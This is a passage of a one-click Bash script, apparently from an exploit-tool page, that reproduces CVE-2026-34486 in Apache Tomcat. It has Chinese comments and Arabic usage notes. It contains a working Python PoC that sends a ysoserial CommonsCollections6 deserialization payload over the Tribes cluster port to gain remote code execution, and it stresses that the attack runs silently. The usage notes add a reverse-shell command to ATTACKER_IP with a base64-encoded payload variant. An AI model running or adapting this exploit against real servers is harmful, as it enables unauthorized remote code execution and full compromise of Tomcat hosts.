    "$NODE2_HTTP_PORT" "$NODE2_SHUTDOWN_PORT" \
    "$ENCRYPTION_KEY_HEX" "$NODE2_TRIBES_PORT"

ok "server.xml 配置完成 (Node1: 端口${NODE1_TRIBES_PORT}, Node2: 端口${NODE2_TRIBES_PORT})"

# 创建 web.xml (启用 Session 复制)
for node in tomcat-node1 tomcat-node2; do
    mkdir -p "$node/webapps/ROOT/WEB-INF"
    cat > "$node/webapps/ROOT/WEB-INF/web.xml" << 'XMLEOF'
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
                             http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <distributable/>
</web-app>
XMLEOF
done
ok "web.xml 配置完成 (distributable)"

# ==================== 7. 启动集群并攻击 ====================
info "步骤 7/8: 启动 Tomcat 集群..."

chmod +x tomcat-node1/bin/catalina.sh tomcat-node2/bin/catalina.sh

export JAVA_HOME
cd "$WORKDIR/tomcat-node1" && bin/catalina.sh start
cd "$WORKDIR/tomcat-node2" && bin/catalina.sh start
cd "$WORKDIR"

info "等待集群启动 (15秒)..."
sleep 15

# 检查端口
if ! ss -tlnp | grep -q ":${NODE1_TRIBES_PORT} "; then
    fail "Node1 Tribes 端口 ${NODE1_TRIBES_PORT} 未监听,集群启动可能失败"
fi
ok "集群已启动,Tribes 端口 ${NODE1_TRIBES_PORT} 已监听"

# 获取本机 IP
LOCAL_IP=$(hostname -I | awk '{print $1}')
info "本机 IP: ${LOCAL_IP}"

# 生成 payload
info "生成反序列化 Payload (CommonsCollections6)..."

# 检测 Java 主版本,决定是否需要 --add-opens
JAVA_MAJOR=$($JAVA_HOME/bin/java -version 2>&1 | head -1 | grep -oP '"\K\d+' | head -1)
ADD_OPENS=""
if [ "$JAVA_MAJOR" -ge 16 ]; then
    ADD_OPENS="--add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED"
fi

$JAVA_HOME/bin/java $ADD_OPENS -jar "$WORKDIR/ysoserial.jar" \
    CommonsCollections6 "touch ${RCE_MARKER}" \
    > "$WORKDIR/payload_touch.bin" 2>/dev/null

if [ ! -s "$WORKDIR/payload_touch.bin" ]; then
    fail "Payload 生成失败"
fi
ok "Payload 生成成功 ($(wc -c < "$WORKDIR/payload_touch.bin") bytes)"

# 编写 Python PoC
cat > "$WORKDIR/exploit.py" << 'PYEXPLOIT'
#!/usr/bin/env python3
"""CVE-2026-34486 PoC - EncryptInterceptor Bypass"""
import socket, struct, sys, os, time

START_DATA = b"FLT2002"
END_DATA   = b"TLF003"
TRIBES_MBR_BEGIN = b"TRIBES-B\x01\x00"
TRIBES_MBR_END   = b"TRIBES-E\x01\x00"

def build_member_data(host_bytes, port):
    inner = b""
    inner += struct.pack(">q", 0)
    inner += struct.pack(">i", port)
    inner += struct.pack(">i", 0)
    inner += struct.pack(">i", 0)
    inner += struct.pack(">b", len(host_bytes))
    inner += host_bytes
    inner += struct.pack(">i", 0)
    inner += struct.pack(">i", 0)
    inner += os.urandom(16)
    inner += struct.pack(">i", 0)
    return TRIBES_MBR_BEGIN + struct.pack(">i", len(inner)) + inner + TRIBES_MBR_END

def build_channel_data(message_body, host_bytes, port):
    unique_id = os.urandom(16)
    member_data = build_member_data(host_bytes, port)
    cd = b""
    cd += struct.pack(">i", 0)
    cd += struct.pack(">q", int(time.time() * 1000))
    cd += struct.pack(">i", len(unique_id))
    cd += unique_id
    cd += struct.pack(">i", len(member_data))
    cd += member_data
    cd += struct.pack(">i", len(message_body))
    cd += message_body
    return cd

def send_exploit(target_ip, target_port, payload_file, receiver_port):
    with open(payload_file, 'rb') as f:
        raw_payload = f.read()
    host_bytes = socket.inet_aton(target_ip)
    channel_data = build_channel_data(raw_payload, host_bytes, receiver_port)
    packet = START_DATA + struct.pack(">i", len(channel_data)) + channel_data + END_DATA
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(10)
    sock.connect((target_ip, target_port))
    sock.sendall(packet)
    try:
        sock.recv(4096)
    except socket.timeout:
        pass
    sock.close()

if __name__ == '__main__':
    send_exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3], int(sys.argv[4]))
PYEXPLOIT

chmod +x "$WORKDIR/exploit.py"

# 发送攻击
info "发送攻击 Payload 到 ${LOCAL_IP}:${NODE1_TRIBES_PORT}..."
python3 "$WORKDIR/exploit.py" "$LOCAL_IP" "$NODE1_TRIBES_PORT" "$WORKDIR/payload_touch.bin" "$NODE1_TRIBES_PORT"

info "等待攻击生效 (5秒)..."
sleep 5

# ==================== 8. 验证结果 ====================
info "步骤 8/8: 验证漏洞触发..."

echo ""
echo "======================================================================"
echo -e "${RED}           CVE-2026-34486 复现结果${NC}"
echo "======================================================================"
echo ""

# 检查 RCE 标志文件
if [ -f "$RCE_MARKER" ]; then
    echo -e "  ${GREEN}✅ RCE 成功!${NC} 标志文件已创建:"
    echo ""
    ls -la "$RCE_MARKER"
    echo ""
else
    echo -e "  ${RED}❌ RCE 未触发${NC},标志文件 ${RCE_MARKER} 不存在"
    echo ""
fi

# 检查受害者日志
echo "  受害者日志 (解密失败记录):"
echo "  ----------------------------------------------------------------------"
grep -A3 "Failed to decrypt" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null | head -8 || echo "  (未找到解密失败日志)"
echo ""
echo "  受害者日志 (EncryptInterceptor 启动确认):"
echo "  ----------------------------------------------------------------------"
grep "EncryptInterceptor" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null | head -3 || echo "  (未找到 EncryptInterceptor 日志)"
echo ""
echo "  受害者日志 (集群成员发现):"
echo "  ----------------------------------------------------------------------"
grep "memberAdded" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null | head -2 || echo "  (未找到集群成员日志)"
echo ""

# 检查是否有反序列化异常(不应该有)
if grep -q "InvalidClassException\|ClassNotFoundException\|serialization" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null; then
    echo -e "  ${YELLOW}[!] 检测到反序列化异常日志(可能 gadget chain 不兼容)${NC}"
else
    echo -e "  ${GREEN}✅ 无反序列化异常日志 — payload 静默执行(攻击隐蔽性极高)${NC}"
fi

echo ""
echo "======================================================================"
echo ""
echo "  环境信息:"
echo "    - 工作目录:  ${WORKDIR}"
echo "    - Node1:     HTTP ${NODE1_HTTP_PORT}, Tribes TCP ${NODE1_TRIBES_PORT}"
echo "    - Node2:     HTTP ${NODE2_HTTP_PORT}, Tribes TCP ${NODE2_TRIBES_PORT}"
echo "    - Tomcat 版本: ${TOMCAT_VERSION} (漏洞版本)"
echo "    - RCE 标志:  ${RCE_MARKER}"
echo ""
echo "  清理命令:"
echo "    cd ${WORKDIR}/tomcat-node1 && bin/shutdown.sh"
echo "    cd ${WORKDIR}/tomcat-node2 && bin/shutdown.sh"
echo "    rm -f ${RCE_MARKER}"
echo "    rm -rf ${WORKDIR}"
echo ""
echo "======================================================================"

تعليمات استخدام السكربت بنقرة واحدة

المتطلبات الأساسية:

  • نظام Ubuntu 18.04+ / Debian 10+
  • صلاحيات root
  • إمكانية الوصول إلى الإنترنت الخارجي (لتنزيل Tomcat وysoserial وCommons Collections)

طريقة التنفيذ:```bash

保存脚本

chmod +x cve-2026-34486-repro.sh

一键运行

sudo ./cve-2026-34486-repro.sh

root@kitploit:~
**سير تنفيذ السكربت**:

| الخطوة | المحتوى | الوصف |
|------|------|------|
| 1 | اكتشاف وتثبيت التبعيات | JDK 11، Python3، wget وغيرها |
| 2 | إنشاء دليل العمل | `/opt/cve-2026-34486-lab` |
| 3 | تنزيل Tomcat 9.0.116 | الإصدار الثغري، فك ضغط نسختين |
| 4 | تثبيت مكتبة Gadget | Commons Collections 3.1 ← lib/ |
| 5 | تنزيل ysoserial | أداة توليد حمولة إلغاء التسلسل |
| 6 | تكوين الكتلة | server.xml + EncryptInterceptor + web.xml |
| 7 | تشغيل الكتلة والهجوم | التشغيل ← توليد حمولة CC6 ← إرسال عبر Python PoC |
| 8 | التحقق من النتائج | فحص ملف علامة RCE + سجلات الضحية |

**المخرجات المتوقعة**:```
[*] 步骤 8/8: 验证漏洞触发...

======================================================================
           CVE-2026-34486 复现结果
======================================================================

  ✅ RCE 成功! 标志文件已创建:

  -rw-r----- 1 root root 0 Apr 15 03:46 /tmp/CVE-2026-34486-PWNED

  受害者日志 (解密失败记录):
  ----------------------------------------------------------------------
  SEVERE [Tribes-Task-Receiver...] EncryptInterceptor.messageReceived
    Failed to decrypt message
  javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16...

  ✅ 无反序列化异常日志 — payload 静默执行(攻击隐蔽性极高)

======================================================================

أوامر RCE المخصصة:

لتعديل أمر الهجوم، قم بتحرير متغير RCE_MARKER في السكربت وأمر توليد ysoserial، على سبيل المثال:```bash

修改为反弹 shell (需先编码)

bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

Base64 编码后:

java -jar ysoserial.jar CommonsCollections6
"bash -c {echo,BASE64_ENCODED_COMMAND}|{base64,-d}|bash" \

payload_reverse.bin

root@kitploit:~
تنزيل الأداة